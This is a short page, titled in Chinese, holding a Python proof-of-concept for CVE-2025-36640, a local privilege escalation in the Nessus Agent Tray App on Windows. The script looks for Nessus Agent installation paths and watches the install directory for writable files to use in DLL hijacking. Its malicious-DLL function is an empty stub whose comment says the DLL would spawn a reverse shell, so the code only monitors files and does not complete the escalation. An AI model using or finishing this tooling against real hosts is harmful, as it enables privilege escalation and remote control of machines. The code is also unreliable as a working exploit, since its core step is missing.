CVE-2025-36640: Nessus Agent Tray App本地权限提升漏洞

# CVE-2025-36640 PoC - Nessus Agent Tray App Privilege Escalation # This PoC demonstrates the privilege escalation vulnerability during Nessus Agent installation # Target: Windows hosts with Nessus Agent Tray App < fixed version import os import sys import time import shutil import threading def check_nessus_installed(): """Check if Nessus Agent is installed on the system""" nessus_paths = [ r'C:\Program Files\Tenable\Nessus Agent', r'C:\Program Files (x86)\Tenable\Nessus Agent', r'C:\ProgramData\Tenable\Nessus Agent' ] for path in nessus_paths: if os.path.exists(path): return True, path return False, None def monitor_installation(target_dir): """ Monitor installation directory for newly created files that can be exploited for DLL hijacking """ print(f'[*] Monitoring {target_dir} for new files...') created_files = [] while True: try: for root, dirs, files in os.walk(target_dir): for file in files: filepath = os.path.join(root, file) if filepath not in created_files: created_files.append(filepath) print(f'[+] Discovered file: {filepath}') # Check if file is writable by low-priv user if os.access(filepath, os.W_OK): print(f'[!] File is writable: {filepath}') print(f'[!] Potential DLL hijacking target detected!') except Exception as e: print(f'[-] Error during monitoring: {e}') time.sleep(1) def create_malicious_dll(dll_path): """ Create malicious DLL for privilege escalation Note: This is for educational purposes only """ # Malicious DLL would be placed here # The DLL should export required functions and spawn a reverse shell pass def main(): print('='*60) print('CVE-2025-36640 Nessus Agent Privilege Escalation PoC') print('='*60) # Check if running on Windows if sys.platform != 'win32': print('[-] This exploit only works on Windows systems') return # Check for Nessus Agent installation installed, nessus_path = check_nessus_installed() if installed: print(f'[+] Nessus Agent found at: {nessus_path}') # Start monitoring thread monitor_thread = threading.Thread( target=monitor_installation, args=(nessus_path,), daemon=True ) monitor_thread.start() print('[*] Waiting for installation/update operations...') print('[*] Monitor for writable DLLs and exploit during installation') # Keep running try: while True: time.sleep(1) except KeyboardInterrupt: print('\n[-] Exiting...') else: print('[-] Nessus Agent not found on this system') print('[*] Exploitation requires Nessus Agent installation') if __name__ == '__main__': main()